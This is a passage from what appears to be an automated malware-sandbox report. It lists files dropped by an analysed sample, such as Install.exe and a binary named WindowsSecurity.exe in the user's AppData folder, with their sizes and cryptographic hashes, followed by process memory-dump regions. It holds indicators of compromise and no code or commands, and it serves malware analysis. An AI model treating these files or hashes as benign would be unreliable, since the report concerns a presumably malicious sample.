                                                                                                                                    7e510fc9344ef239ab1ab650dc95bb25fd44e2efba8b8246a3ac17880ee8b69e

                                                                                                                                    SHA512

                                                                                                                                    83ab35f622f4a5040ca5cb615a30f83bb0741449225f1fd1815b6923e225c28241d0c02d34f83f743349a5e57f84ca1c6f44016797a93d5985be41d11be79500

                                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                    Filesize

                                                                                                                                    944B

                                                                                                                                    MD5

                                                                                                                                    0ee5975890c07d1928af51207a912eed

                                                                                                                                    SHA1

                                                                                                                                    77c429edae689273ff35445ae58725e3d6120619

                                                                                                                                    SHA256

                                                                                                                                    0bc7d878916f598aa53c2ae78169726666f987aa31e74b533ee72702c580b6b9

                                                                                                                                    SHA512

                                                                                                                                    76a963f93132d4fce019121faff92effd7f0bcce89d2ab28dd9e5d931e1a72f32a6dcdd9f7881c66831b11c25baab19eb9124394c79f634182d44631a96871f3

                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\Install.exe

                                                                                                                                    Filesize

                                                                                                                                    163KB

                                                                                                                                    MD5

                                                                                                                                    1a7d1b5d24ba30c4d3d5502295ab5e89

                                                                                                                                    SHA1

                                                                                                                                    2d5e69cf335605ba0a61f0bbecbea6fc06a42563

                                                                                                                                    SHA256

                                                                                                                                    b2cc4454c0a4fc80b1fc782c45ac7f76b1d95913d259090a2523819aeec88eb5

                                                                                                                                    SHA512

                                                                                                                                    859180338958509934d22dbc9be9da896118739d87727eb68744713259e819551f7534440c545185f469da03c86d96e425cdf5aae3fb027bb8b7f51044e08eaa

                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pfi50nnz.1fe.ps1

                                                                                                                                    Filesize

                                                                                                                                    60B

                                                                                                                                    MD5

                                                                                                                                    d17fe0a3f47be24a6453e9ef58c94641

                                                                                                                                    SHA1

                                                                                                                                    6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                                                                                                                    SHA256

                                                                                                                                    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                                                                                                                    SHA512

                                                                                                                                    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                                                                                                                  • C:\Users\Admin\AppData\Local\WindowsSecurity.exe

                                                                                                                                    Filesize

                                                                                                                                    440KB

                                                                                                                                    MD5

                                                                                                                                    0e9ccd796e251916133392539572a374

                                                                                                                                    SHA1

                                                                                                                                    eee0b7e9fdb295ea97c5f2e7c7ba3ac7f4085204

                                                                                                                                    SHA256

                                                                                                                                    c7d4e119149a7150b7101a4bd9fffbf659fba76d058f7bf6cc73c99fb36e8221

                                                                                                                                    SHA512

                                                                                                                                    e15c3696e2c96874242d3b0731ce0c790387ccce9a83a19634aed4d1efef72ce8b8fa683069950d652b16cd8d5e9daae9910df6d0a75cb74fdbe90ae5186765d

                                                                                                                                  • memory/388-37-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    32KB

                                                                                                                                  • memory/388-42-0x00007FFE069C0000-0x00007FFE06BC9000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    2.0MB

                                                                                                                                  • memory/388-44-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    32KB

                                                                                                                                  • memory/388-36-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    32KB

                                                                                                                                  • memory/388-41-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    32KB

                                                                                                                                  • memory/388-43-0x00007FFE05CD0000-0x00007FFE05D8D000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    756KB

                                                                                                                                  • memory/388-39-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    32KB

                                                                                                                                  • memory/388-38-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    32KB

                                                                                                                                  • memory/484-82-0x000001BF8F2A0000-0x000001BF8F2CB000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    172KB

                                                                                                                                  • memory/484-88-0x000001BF8F2A0000-0x000001BF8F2CB000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    172KB

                                                                                                                                  • memory/484-89-0x00007FFDC6A50000-0x00007FFDC6A60000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    64KB

                                                                                                                                  • memory/640-48-0x000002197A0B0000-0x000002197A0DB000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    172KB

                                                                                                                                  • memory/640-55-0x000002197A0B0000-0x000002197A0DB000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    172KB

                                                                                                                                  • memory/640-56-0x00007FFDC6A50000-0x00007FFDC6A60000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    64KB

                                                                                                                                  • memory/640-49-0x000002197A0B0000-0x000002197A0DB000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    172KB

                                                                                                                                  • memory/640-47-0x000002197A080000-0x000002197A0A5000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    148KB

                                                                                                                                  • memory/700-66-0x000002B177A80000-0x000002B177AAB000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    172KB

                                                                                                                                  • memory/700-67-0x00007FFDC6A50000-0x00007FFDC6A60000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    64KB

                                                                                                                                  • memory/700-60-0x000002B177A80000-0x000002B177AAB000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    172KB

                                                                                                                                  • memory/880-93-0x000002570E570000-0x000002570E59B000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    172KB

                                                                                                                                  • memory/968-999-0x00000170F8010000-0x00000170F8056000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    280KB

                                                                                                                                  • memory/1008-71-0x0000024F16AF0000-0x0000024F16B1B000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    172KB

                                                                                                                                  • memory/1008-77-0x0000024F16AF0000-0x0000024F16B1B000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    172KB

                                                                                                                                  • memory/1008-78-0x00007FFDC6A50000-0x00007FFDC6A60000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    64KB

                                                                                                                                  • memory/3740-10-0x00007FFDE57A0000-0x00007FFDE6262000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    10.8MB

                                                                                                                                  • memory/3740-11-0x00007FFDE57A0000-0x00007FFDE6262000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    10.8MB

                                                                                                                                  • memory/3740-1014-0x000001F5D5310000-0x000001F5D531C000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    48KB

                                                                                                                                  • memory/3740-17-0x000001F5D4EC0000-0x000001F5D4ED8000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    96KB

                                                                                                                                  • memory/3740-14-0x000001F5D4E60000-0x000001F5D4EC2000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    392KB

                                                                                                                                  • memory/3740-13-0x000001F5D4A90000-0x000001F5D4A98000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    32KB

                                                                                                                                  • memory/3740-12-0x00007FFDE57A0000-0x00007FFDE6262000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    10.8MB

                                                                                                                                  • memory/3740-0-0x00007FFDE57A3000-0x00007FFDE57A5000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    8KB

                                                                                                                                  • memory/3740-9-0x000001F5D4AA0000-0x000001F5D4AC2000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    136KB

                                                                                                                                  • memory/3740-953-0x00007FFDE57A3000-0x00007FFDE57A5000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    8KB

                                                                                                                                  • memory/3740-954-0x00007FFDE57A0000-0x00007FFDE6262000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    10.8MB

                                                                                                                                  • memory/3740-955-0x00007FFDE57A0000-0x00007FFDE6262000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    10.8MB

                                                                                                                                  • memory/5024-35-0x00007FFE05CD0000-0x00007FFE05D8D000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    756KB

                                                                                                                                  • memory/5024-34-0x00007FFE069C0000-0x00007FFE06BC9000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    2.0MB

                                                                                                                                  • memory/5024-33-0x0000023770B40000-0x0000023770B6A000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    168KB